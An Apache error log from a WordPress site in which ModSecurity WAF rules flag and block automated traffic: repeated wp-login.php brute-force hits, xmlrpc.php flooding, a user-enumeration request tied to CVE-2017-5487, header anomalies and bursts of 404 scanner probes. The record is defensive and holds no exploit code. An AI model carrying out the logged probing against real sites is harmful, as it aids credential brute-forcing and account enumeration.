[Sun May 10 01:08:17.932963 2026] [:error] [pid 62831:tid 62856] [client 3.151.60.165:58176] [client 3.151.60.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.151.60.165, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9qAeYBNqNhtZ_l7qBh5AAAABc"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 01:08:19.038964 2026] [:error] [pid 62831:tid 62842] [client 3.151.60.165:58176] [client 3.151.60.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.151.60.165, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9qA-YBNqNhtZ_l7qBh5QAAAAk"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 01:08:20.152300 2026] [:error] [pid 62831:tid 62838] [client 3.151.60.165:58176] [client 3.151.60.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.151.60.165, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9qBOYBNqNhtZ_l7qBh5wAAAAU"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 01:10:07.440383 2026] [autoindex:error] [pid 55186:tid 55257] [client 195.3.220.7:44946] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://google.com/
[Sun May 10 01:10:08.643778 2026] [autoindex:error] [pid 55191:tid 55281] [client 195.3.220.7:52934] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://google.com/
[Sun May 10 01:10:12.469481 2026] [autoindex:error] [pid 62831:tid 62857] [client 195.3.220.7:51370] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://google.com/
[Sun May 10 01:10:13.004027 2026] [autoindex:error] [pid 55353:tid 55374] [client 195.3.220.7:54944] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://google.com/
[Sun May 10 01:10:14.410320 2026] [autoindex:error] [pid 55353:tid 55370] [client 195.3.220.7:36026] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/uploads/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://google.com/
[Sun May 10 01:10:14.949270 2026] [autoindex:error] [pid 62831:tid 62837] [client 195.3.220.7:39800] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/uploads/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://google.com/
[Sun May 10 01:10:15.799128 2026] [autoindex:error] [pid 55182:tid 55217] [client 195.3.220.7:44872] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/cache/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://google.com/
[Sun May 10 01:10:16.338734 2026] [autoindex:error] [pid 62831:tid 62836] [client 195.3.220.7:48310] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/cache/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://google.com/
[Sun May 10 01:11:37.701640 2026] [:error] [pid 55353:tid 55375] [client 18.225.13.68:39268] [client 18.225.13.68] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.225.13.68, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9qySDuyNO3XosoIYSNRgAAARQ"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 01:11:39.248055 2026] [:error] [pid 55353:tid 55362] [client 18.225.13.68:39268] [client 18.225.13.68] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.225.13.68, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9qyyDuyNO3XosoIYSNSAAAAQc"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 01:11:40.420995 2026] [:error] [pid 55353:tid 55357] [client 18.225.13.68:39268] [client 18.225.13.68] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.225.13.68, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9qzCDuyNO3XosoIYSNSwAAAQI"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 01:11:41.711018 2026] [:error] [pid 55353:tid 55370] [client 18.225.13.68:39268] [client 18.225.13.68] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.225.13.68, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9qzSDuyNO3XosoIYSNUQAAAQ8"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 01:11:42.804025 2026] [:error] [pid 55353:tid 55369] [client 18.225.13.68:39268] [client 18.225.13.68] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.225.13.68, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9qziDuyNO3XosoIYSNVwAAAQ4"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 01:11:43.885735 2026] [:error] [pid 55353:tid 55367] [client 18.225.13.68:39268] [client 18.225.13.68] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.225.13.68, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9qzyDuyNO3XosoIYSNWwAAAQw"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 01:11:44.995541 2026] [:error] [pid 55353:tid 55370] [client 18.225.13.68:39268] [client 18.225.13.68] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.225.13.68, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9q0CDuyNO3XosoIYSNYQAAAQ8"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 01:11:46.120591 2026] [:error] [pid 55353:tid 55371] [client 18.225.13.68:39268] [client 18.225.13.68] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.225.13.68, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9q0iDuyNO3XosoIYSNZgAAARA"], referer: https://vetstars.com.au/wp-login.php
[Sun May 10 01:18:20.265467 2026] [:error] [pid 55182:tid 55236] [client 136.144.19.43:21139] [client 136.144.19.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.19.43, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af9sXDaxmP-S8ASrqQn4qgAAANg"]
[Sun May 10 02:11:38.510637 2026] [:error] [pid 62831:tid 62845] [client 216.24.219.5:54395] [client 216.24.219.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.219.5, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af942uYBNqNhtZ_l7qBzBgAAAAw"]
[Sun May 10 02:49:14.318633 2026] [:error] [pid 62831:tid 62842] [client 104.234.19.72:32111] [client 104.234.19.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.234.19.72, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af-BquYBNqNhtZ_l7qB-KwAAAAk"]
[Sun May 10 03:20:26.450801 2026] [:error] [pid 55182:tid 55219] [client 216.24.219.6:35155] [client 216.24.219.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.219.6, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af-I-jaxmP-S8ASrqQkDUgAAAMc"]
[Sun May 10 03:29:21.693378 2026] [:error] [pid 54523:tid 54549] [client 43.166.242.189:47426] [client 43.166.242.189] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "af-LEVag0VrOOAfRpVyj_gAAANY"]
[Sun May 10 03:53:06.335005 2026] [:error] [pid 62803:tid 62875] [client 136.144.19.2:27731] [client 136.144.19.2] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.19.2, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af-Qok5oy4jU7eVtNaXe-wAAAIs"]
[Sun May 10 03:55:44.108266 2026] [:error] [pid 62802:tid 62840] [client 104.234.53.175:44875] [client 104.234.53.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.234.53.175, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af-RQKt9wnaRe0v-Mka11gAAAEM"]
[Sun May 10 04:29:12.223814 2026] [:error] [pid 62910:tid 62933] [client 104.234.19.72:65175] [client 104.234.19.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.234.19.72, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af-ZGN5YAy_h5VqgWqhMzQAAANU"]
[Sun May 10 04:59:39.542719 2026] [:error] [pid 62910:tid 62919] [client 216.24.219.7:32319] [client 216.24.219.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.219.7, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af-gO95YAy_h5VqgWqhSCAAAAMc"]
[Sun May 10 05:08:21.243518 2026] [:error] [pid 62803:tid 62864] [client 176.65.132.73:53514] [client 176.65.132.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.65.132.73, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "af-iRU5oy4jU7eVtNaXqWgAAAIA"]
[Sun May 10 05:08:23.096840 2026] [:error] [pid 32915:tid 32943] [client 176.65.132.73:53540] [client 176.65.132.73] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "af-iRzg8EIe76RX8AUaGAwAAARc"]
[Sun May 10 05:08:24.079317 2026] [:error] [pid 62803:tid 62868] [client 176.65.132.73:53553] [client 176.65.132.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.65.132.73, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "af-iSE5oy4jU7eVtNaXqXQAAAIQ"]
[Sun May 10 05:08:26.239924 2026] [:error] [pid 32915:tid 32921] [client 176.65.132.73:53590] [client 176.65.132.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.65.132.73, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "af-iSjg8EIe76RX8AUaGCwAAAQE"]
[Sun May 10 05:08:28.338511 2026] [:error] [pid 32915:tid 32922] [client 176.65.132.73:53631] [client 176.65.132.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.65.132.73, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "af-iTDg8EIe76RX8AUaGDQAAAQI"]
[Sun May 10 05:08:30.515048 2026] [:error] [pid 32915:tid 32937] [client 176.65.132.73:53691] [client 176.65.132.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.65.132.73, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "af-iTjg8EIe76RX8AUaGFQAAARE"]
[Sun May 10 05:08:32.596328 2026] [:error] [pid 62803:tid 62866] [client 176.65.132.73:53727] [client 176.65.132.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.65.132.73, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "af-iUE5oy4jU7eVtNaXqYQAAAII"]
[Sun May 10 05:08:34.710358 2026] [:error] [pid 62910:tid 62912] [client 176.65.132.73:53771] [client 176.65.132.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.65.132.73, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "af-iUt5YAy_h5VqgWqhTQQAAAMA"]
[Sun May 10 05:08:34.710537 2026] [:error] [pid 62910:tid 62912] [client 176.65.132.73:53771] [client 176.65.132.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 176.65.132.73, counter = 6"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "af-iUt5YAy_h5VqgWqhTQQAAAMA"]
[Sun May 10 05:30:25.989929 2026] [:error] [pid 62803:tid 62869] [client 193.36.224.82:29295] [client 193.36.224.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.224.82, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af-ncU5oy4jU7eVtNaXvNAAAAIU"]
[Sun May 10 06:12:18.415875 2026] [:error] [pid 62910:tid 62915] [client 136.144.19.131:34439] [client 136.144.19.131] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.19.131, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af-xQt5YAy_h5VqgWqhlBgAAAMM"]
[Sun May 10 06:43:11.637779 2026] [:error] [pid 32915:tid 32928] [client 136.144.19.178:20949] [client 136.144.19.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.19.178, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af-4fzg8EIe76RX8AUapNQAAAQg"]
[Sun May 10 06:50:47.740683 2026] [:error] [pid 32915:tid 32921] [client 104.234.53.147:52017] [client 104.234.53.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.234.53.147, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af-6Rzg8EIe76RX8AUarOAAAAQE"]
[Sun May 10 07:13:39.257470 2026] [:error] [pid 62801:tid 62831] [client 136.144.19.177:31765] [client 136.144.19.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.19.177, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af-_oxMFDul6kZmcchA1lgAAABU"]
[Sun May 10 09:48:56.510975 2026] [:error] [pid 46329:tid 46341] [client 129.211.172.249:52162] [client 129.211.172.249] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "af_kCOFo7Z2I88d0gPJYtgAAAAg"]
[Sun May 10 15:53:01.299499 2026] [:error] [pid 14779:tid 14800] [client 62.84.185.69:34530] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "agA5XVXzPaW9Hap8yc8MmQAAAVM"]
[Sun May 10 15:53:03.915081 2026] [:error] [pid 14779:tid 14788] [client 62.84.185.69:34542] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "agA5X1XzPaW9Hap8yc8MoQAAAUc"]
[Sun May 10 15:53:06.507932 2026] [:error] [pid 52634:tid 52657] [client 62.84.185.69:52544] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "agA5Ytwp8XoWCwFb54AJyAAAANM"]
[Sun May 10 15:53:08.940725 2026] [:error] [pid 46329:tid 46350] [client 62.84.185.69:52548] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "agA5ZOFo7Z2I88d0gPJ_xAAAABE"]
[Sun May 10 15:53:11.610991 2026] [:error] [pid 46331:tid 46407] [client 62.84.185.69:52558] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "agA5ZwP02hpYETwsZphEuwAAAJg"]
[Sun May 10 15:53:14.268715 2026] [:error] [pid 46330:tid 46402] [client 62.84.185.69:52562] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "agA5aoztrhd3evDQvs95CgAAAFI"]
[Sun May 10 15:53:16.905949 2026] [:error] [pid 52634:tid 52649] [client 62.84.185.69:55106] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "agA5bNwp8XoWCwFb54AJ7wAAAMs"]
[Sun May 10 15:53:19.375221 2026] [:error] [pid 52634:tid 52660] [client 62.84.185.69:55108] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "agA5b9wp8XoWCwFb54AJ9AAAANY"]
[Sun May 10 15:53:21.938471 2026] [:error] [pid 52634:tid 52661] [client 62.84.185.69:55124] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "agA5cdwp8XoWCwFb54AJ-gAAANc"]
[Sun May 10 15:53:24.493700 2026] [:error] [pid 46330:tid 46381] [client 62.84.185.69:55134] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "agA5dIztrhd3evDQvs95DAAAAEg"]
[Sun May 10 15:53:27.188283 2026] [:error] [pid 14779:tid 14784] [client 62.84.185.69:49292] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "agA5d1XzPaW9Hap8yc8MtQAAAUM"]
[Sun May 10 15:53:29.747903 2026] [:error] [pid 46330:tid 46391] [client 62.84.185.69:49300] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "agA5eYztrhd3evDQvs95DwAAAE0"]
[Sun May 10 15:53:32.340804 2026] [:error] [pid 14779:tid 14805] [client 62.84.185.69:49312] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "agA5fFXzPaW9Hap8yc8MtgAAAVg"]
